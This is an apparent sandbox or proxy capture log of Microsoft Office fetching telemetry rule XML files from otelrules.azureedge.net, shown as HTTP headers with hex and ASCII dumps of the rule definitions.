ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-30 19:13:56 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-30 19:13:56 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-30 19:13:56 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-30 19:13:56 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-30 19:13:57 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-30 19:13:57 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-30 19:13:57 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-30 19:13:57 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-30 19:13:57 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:58 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:13:58 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:58 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 87a1057c-b01e-0002-4e36-281b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191358Z-17c5cb586f62blg5ss55p9d6fn00000009bg00000000ak9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:13:58 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:58 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:13:58 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:58 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191358Z-16849878b78smng4k6nq15r6s400000009w000000000wr6a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:13:58 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:58 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:13:58 UTC	561	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:58 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f312709b-601e-0001-377c-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191358Z-r197bdfb6b4cnxt4mv5f3apubw0000000150000000001mge x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:13:58 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:58 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:13:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:58 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191358Z-16849878b7867ttgfbpnfxt44s00000008ag00000000d1hu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:13:58 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:58 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:13:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:58 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 54e1ad71-801e-008f-48b2-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191358Z-17c5cb586f6mkpfkkpsf1dpups00000003s000000000d1tb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:13:58 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:59 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:13:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:59 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 070d1cb7-b01e-0084-2b6b-2ad736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191359Z-r197bdfb6b4xfp4mncra29rqkc000000020g0000000001cs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:13:59 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:59 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:13:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:59 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: d6813257-101e-0034-034f-2896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191359Z-15b8d89586f989rkwt13xern5400000003vg0000000011z8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
